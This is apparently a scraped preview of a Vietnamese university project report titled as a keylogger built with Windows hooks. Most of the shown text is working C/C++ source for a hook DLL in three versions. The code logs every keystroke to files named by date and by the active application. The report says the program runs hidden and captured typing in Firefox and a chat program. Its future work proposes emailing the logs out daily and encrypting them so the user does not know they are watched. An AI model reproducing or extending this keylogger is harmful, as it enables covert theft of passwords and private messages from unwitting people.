Đồ án Phần mềm Keyloger sử dụng Hook Windows

MỤC LỤC

T ỔNG QUAN VỀ ĐỀ TÀI. 5

Chương 1. CƠ SỞ LÝ THUYẾT. 6

I. Giới thiệu. 6

II. Thông Điệp và HÀNG ĐỢI THÔNG ĐIỆP CỦA WINDOWS . 6

II.1. Giới thiệu. 6

II.1.1. Thông đi ệp windows . 6

II.1.2. Lo ại Thông điệp . 7

II.1.3. Lộ trình thông đi ệp . 10

II.1.4. Xử lý thông điệp . 12

II.1.5. Lọc thông điệp . 16

II.1.6. Đăng và chuyển thông điệp . 16

II.1.7. Bế tắc thông điệp . 18

II.1.8. Thông đi ệp quảng bá . 19

II.1.9. Truy vấn thông điệp . 20

II.2. Sử dụng thông điệp và hàng đợi thông điệp . 21

II.2.1. T ạo vòng lặp thông điệp . 21

II.2.2. Kiểm tra một hàng đ ợi thông điệp . 24

II.2.3. Đăng thông đi ệp . 25

II.2.4. Gửi một thông đi ệp . 26

III. k ỹ thu ật hook . 28

III.1. Giới thiệu . 28

III.2. Chuỗi Hook . 29

III.2.1. Thủ tục Hook. 29

III.2.2. Các kiểu Hook . 29

III.3. Cách s ử dụng . 31

III.3.1. Cài đ ặt Hook . 31

III.3.2. Giải phóng Hook . 31

IV. win 32 api . 32

IV.1. Giới thiệu . 32

IV.2. Các hàm thườ ng dùng . 32

4 Bộ môn Mạng và Truyền Thông

IV.2.1. SetWindowsHookEx . 32

IV.2.2. UnhookWindowsHookEx . 33

IV.2.3. CallNextHookEx. 33

IV.2.4. LowLevelKeyboardProc . 34

IV.2.5. GetKeyState . 35

IV.2.6. GetKeyboardState . 35

IV.2.7. ToAscii . 35

IV.2.8. LoadLibrary. 36

IV.2.9. GetProcAddress . 36

IV.2.10. OpenProcess . 36

IV.2.11. EnumProcessModules . 37

IV.2.12. GetModuleBaseName. 37

IV.2.13. GetForegroundWindow. 38

IV.2.14. GetWindowThreadProcessId . 38

IV.2.15. GetLocalTime . 39

IV.3. Mã bàn phím ảo . 39

Chương 2. PHÂN TÍCH VÀ XÂY DỰNG CHƯƠNG TRÌNH. 47

I. PHân tích yêu c ầu . 47

I.1. Yêu c ầu v ề chức năng . 47

I.2. Yêu c ầu v ề giao diện người dùng . 47

I.3. Yêu c ầu v ề tương thích . 47

II. phân tích chức năng. 47

III. xây dựng chức năng . 47

III.1. T ập tin thi hành Jaam.exe . 47

III.2. Thư viện Hooker.dll . 49

III.2.1. Phiên bản 1 . 49

III.2.2. Phiên bản 2 . 51

III.2.3. Phiên bản 3 . 53

Chương 3. TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ. 57

I. Môi trường triển khai. 57

II. Kết qu ả chức nĂng chương trình . 57

III. Đánh giá và nh ận xét . 58

pdf60 trang | Chuyên mục: Hệ Điều Hành | Chia sẻ: dkS00TYs | Lượt xem: 2247 | Lượt tải: 3download
Tóm tắt nội dung Đồ án Phần mềm Keyloger sử dụng Hook Windows, để xem tài liệu hoàn chỉnh bạn click vào nút "TẢI VỀ" ở trên
} 
void WriteEnterToFile() 
{ 
 out=fopen("d:\\key.txt","a"); 
 fprintf(out,"\n"); 
 fclose(out); 
} 
BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ 
, 
 DWORD reason /* Reason this function is 
being called. */ , 
 LPVOID reserved /* Not used. */ ) 
{ 
 switch (reason) 
 { 
 case DLL_PROCESS_ATTACH: 
 break; 
 case DLL_PROCESS_DETACH: 
 break; 
 case DLL_THREAD_ATTACH: 
 break; 
 case DLL_THREAD_DETACH: 
 break; 
 } 
KeyLogger-Sử dụng Hook Windows 51 
 Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
 /* Returns TRUE on success, FALSE on failure */ 
 return TRUE; 
} 
III.2.2. Phiên bản 2 
#include 
#include 
#include 
#include 
#include 
#pragma data_seg(".SHARDAT") 
HHOOK hGlobalHook = NULL; 
FILE *out; 
#pragma data_seg() 
void WriteStringToFile(char *txt); 
void WriteEnterToFile(); 
extern "C" __declspec (dllexport) LRESULT CALLBACK LogKeyboard(int nCode, 
WPARAM wParam, LPARAM lParam) 
{ 
 if (nCode == HC_ACTION && wParam == WM_KEYDOWN) 
 { 
 bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true 
: false); 
 bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : 
false); 
 bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ? 
true : false); 
 byte keyState[256]; 
 GetKeyboardState(keyState); 
 WORD w; 
 KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam; 
 if (keycode->vkCode == VK_RETURN) { WriteStringToFile("{Enter}"); 
WriteEnterToFile(); } 
 if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}"); 
 if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}"); 
 if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}"); 
 if (keycode->vkCode == VK_END) WriteStringToFile("{End}"); 
 if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}"); 
 if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}"); 
 if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}"); 
 if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}"); 
 else if (ToAscii(keycode->vkCode, 
 keycode->scanCode, 
 keyState, 
 &w, 
 keycode->flags) == 1) 
 { 
 char key = (char)w; 
 if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key <= 
90) || (key >= 97 && key <= 122 ))) 
 { 
52 Bộ môn Mạng và Truyền Thông 
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
 key = toupper(key); 
 } 
 if (isDownCtrl) { 
 char str[100]; 
 sprintf(str,"{Ctrl - %c}",(char)keycode->vkCode); 
 WriteStringToFile(str);} 
 else { 
 char str[100]; 
 sprintf(str,"%c",key); 
 WriteStringToFile(str);} 
 } 
 } 
 return CallNextHookEx( hGlobalHook, nCode, wParam, lParam ); 
} 
extern "C" __declspec (dllexport) void SetGlobalHook(HHOOK hHook) 
{ 
 hGlobalHook = hHook; 
} 
void WriteStringToFile(char* txt) 
{ 
 // File name by Time 
 SYSTEMTIME st; 
 GetLocalTime(&st); 
 char str[100]; 
 sprintf(str,"d:\\key-%d_%d_%d.txt",st.wYear,st.wMonth,st.wDay); 
 out=fopen(str,"a"); 
 fprintf(out,"%s",txt); 
 fclose(out); 
} 
void WriteEnterToFile() 
{ 
 // File name by Time 
 SYSTEMTIME st; 
 GetLocalTime(&st); 
 char str[100]; 
 sprintf(str,"d:\\key-%d_%d_%d.txt",st.wYear,st.wMonth,st.wDay); 
 out=fopen(str,"a"); 
 fprintf(out,"\n"); 
 fclose(out); 
} 
BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ 
, 
 DWORD reason /* Reason this function is 
being called. */ , 
 LPVOID reserved /* Not used. */ ) 
{ 
 switch (reason) 
 { 
 case DLL_PROCESS_ATTACH: 
 break; 
 case DLL_PROCESS_DETACH: 
 break; 
KeyLogger-Sử dụng Hook Windows 53 
 Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
 case DLL_THREAD_ATTACH: 
 break; 
 case DLL_THREAD_DETACH: 
 break; 
 } 
 /* Returns TRUE on success, FALSE on failure */ 
 return TRUE; 
} 
III.2.3. Phiên bản 3 
// dllmain.cpp : Defines the entry point for the DLL application. 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#pragma data_seg(".SHARDAT") 
HHOOK hGlobalHook = NULL; 
FILE *out; 
#pragma data_seg() 
int PrintModules( DWORD processID ); 
void WriteStringToFile(char *txt); 
void WriteEnterToFile(); 
LRESULT CALLBACK LogKeyboard(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
 if (nCode == HC_ACTION && wParam == WM_KEYDOWN) 
 { 
 bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true 
: false); 
 bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : 
false); 
 bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ? 
true : false); 
 byte keyState[256]; 
 GetKeyboardState(keyState); 
 WORD w; 
 KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam; 
 if (keycode->vkCode == VK_RETURN) { WriteStringToFile("{Enter}"); 
WriteEnterToFile(); } 
 if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}"); 
 if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}"); 
 if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}"); 
 if (keycode->vkCode == VK_END) WriteStringToFile("{End}"); 
 if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}"); 
 if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}"); 
 if (keycode->vkCode == VK_UP) WriteStringToFile("{Up}"); 
 if (keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}"); 
54 Bộ môn Mạng và Truyền Thông 
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
 else if (ToAscii(keycode->vkCode, 
 keycode->scanCode, 
 keyState, 
 &w, 
 keycode->flags) == 1) 
 { 
 char key = (char)w; 
 if ((isDownCapslock ^ isDownShift) && ((key >= 65 && key <= 
90) || (key >= 97 && key <= 122 ))) 
 { 
 key = toupper(key); 
 } 
 if (isDownCtrl) { 
 char str[100]; 
 sprintf(str,"{Ctrl - %c}",(char)keycode->vkCode); 
 WriteStringToFile(str);} 
 else { 
 char str[100]; 
 sprintf(str,"%c",key); 
 WriteStringToFile(str);} 
 } 
 } 
 return CallNextHookEx( hGlobalHook, nCode, wParam, lParam ); 
} 
void SetGlobalHook(HHOOK hHook) 
{ 
 hGlobalHook = hHook; 
} 
char* GetExecutor( DWORD processID ) 
{ 
 HMODULE hMods[1024]; 
 HANDLE hProcess; 
 DWORD cbNeeded; 
 unsigned int i; 
 char* result = (char*)malloc( 1000 );; 
 // Get a handle to the process. 
 hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | 
 PROCESS_VM_READ, 
 FALSE, processID ); 
 if (NULL == hProcess) 
 return ""; 
 // Get a list of all the modules in this process. 
 if( EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) 
 { 
 for ( i = 0; i < (cbNeeded / sizeof(HMODULE)); i++ ) 
 { 
 TCHAR szModName[MAX_PATH]; 
 // Get the full path to the module's file. 
 if ( GetModuleBaseName( hProcess, hMods[i], szModName, 
KeyLogger-Sử dụng Hook Windows 55 
 Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
 sizeof(szModName) / sizeof(TCHAR))) 
 { 
 // Print the module name and handle value. 
 TCHAR* prcName = szModName; 
 wcstombs( result, szModName, 1000 ); 
 } 
 break; 
 } 
 } 
 // Release the handle to the process. 
 CloseHandle( hProcess ); 
 return result; 
} 
void WriteStringToFile(char* txt) 
{ 
 // File name by Time and App 
 // Curren Time 
 SYSTEMTIME st; 
 GetLocalTime(&st); 
 // Current App 
 HWND curhwndWindow = GetForegroundWindow(); 
 DWORD processID; 
 GetWindowThreadProcessId(curhwndWindow, &processID); 
 char str[100]; 
 sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay, 
GetExecutor(processID)); 
 out=fopen(str,"a"); 
 fprintf(out,"%s",txt); 
 fclose(out); 
} 
void WriteEnterToFile() 
{ 
 // File name by Time and App 
 // Curren Time 
 SYSTEMTIME st; 
 GetLocalTime(&st); 
 // Current App 
 HWND curhwndWindow = GetForegroundWindow(); 
 DWORD processID; 
 GetWindowThreadProcessId(curhwndWindow, &processID); 
 char str[100]; 
 sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay, 
GetExecutor(processID)); 
 out=fopen(str,"a"); 
 fprintf(out,"\n"); 
 fclose(out); 
} 
BOOL APIENTRY DllMain( HMODULE hModule, 
 DWORD ul_reason_for_call, 
56 Bộ môn Mạng và Truyền Thông 
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
 LPVOID lpReserved 
 ) 
{ 
 switch (ul_reason_for_call) 
 { 
 case DLL_PROCESS_ATTACH: 
 case DLL_THREAD_ATTACH: 
 case DLL_THREAD_DETACH: 
 case DLL_PROCESS_DETACH: 
 break; 
 } 
 return TRUE; 
} 
KeyLogger-Sử dụng Hook Windows 57 
 Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
Chương 3. TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ 
I. MÔI TRƯỜNG TRIỂN KHAI 
Phần mềm được triển khai chạy thử trên các phiên bản của Win7. 
II. KẾT QUẢ CHỨC NĂNG CHƯƠNG TRÌNH 
Kết quả khi chạy chương trình phiên bản 3. 
Hình 1 – Chương trình Jaam.exe chạy ngầm 
Hình 2 – Sử dụng Trình duyệt Firefox 
Hình 3 – Sử dụng chương trinh chat Windows Live 
58 Bộ môn Mạng và Truyền Thông 
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
Hình 4 – Kết quả ghi được từ chương trình 
Hình 5 – Nội dung một tập tin log 
III. ĐÁNH GIÁ VÀ NHẬN XÉT 
Sau khi triển khai chạy thử ứng dụng, nhóm tác giả rút ra các nhận xét đánh 
giá sau : 
- Chương trình không làm tăng đáng kể thời gian hiển thị phím bấm. 
- Chương trình ghi lại được 100% thao tác phím 
- Các tập tin ghi lại theo ngày và ứng dụng mà người sử dụng gõ phím thông 
tin chính xác 100%. 
- Vẫn còn ký tự lạ trong bản log. Nguyên nhân là do các ký tự Unicode được 
trả về từ chương trình Unikey. 
KeyLogger-Sử dụng Hook Windows 59 
 Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN 
1. Những kết quả đạt được 
 Chương trình ghi lại 100% thao tác phím 
 Các tập tin ghi lại theo ngày và tên ứng dụng mà người dùng gõ phím thông 
tin chính xác 100% 
2. Những vấn đề tồn tại 
 Có các tự lạ trong bản Log. Nguyên nhân tìm hiểu được là do các ký tự 
Unicode do chương trinh Unicode gửi đến 
3. Hướng phát triển 
 Cho phép hiển thị Unicode trong bản log 
 Tích hợp gủi mail cho chương trình để tự động gửi các bản log về sau 1 
ngày. 
 Mã hóa các tập tin log để người sử dụng không biết được là đang bị theo dõi.
60 Bộ môn Mạng và Truyền Thông 
Nguyễn Quang Nhật – Nguyễn Quốc Mỹ 
TÀI LIỆU THAM KHẢO 
[1]  
[2]  

File đính kèm:

  • pdfĐồ án Phần mềm Keyloger sử dụng Hook Windows.pdf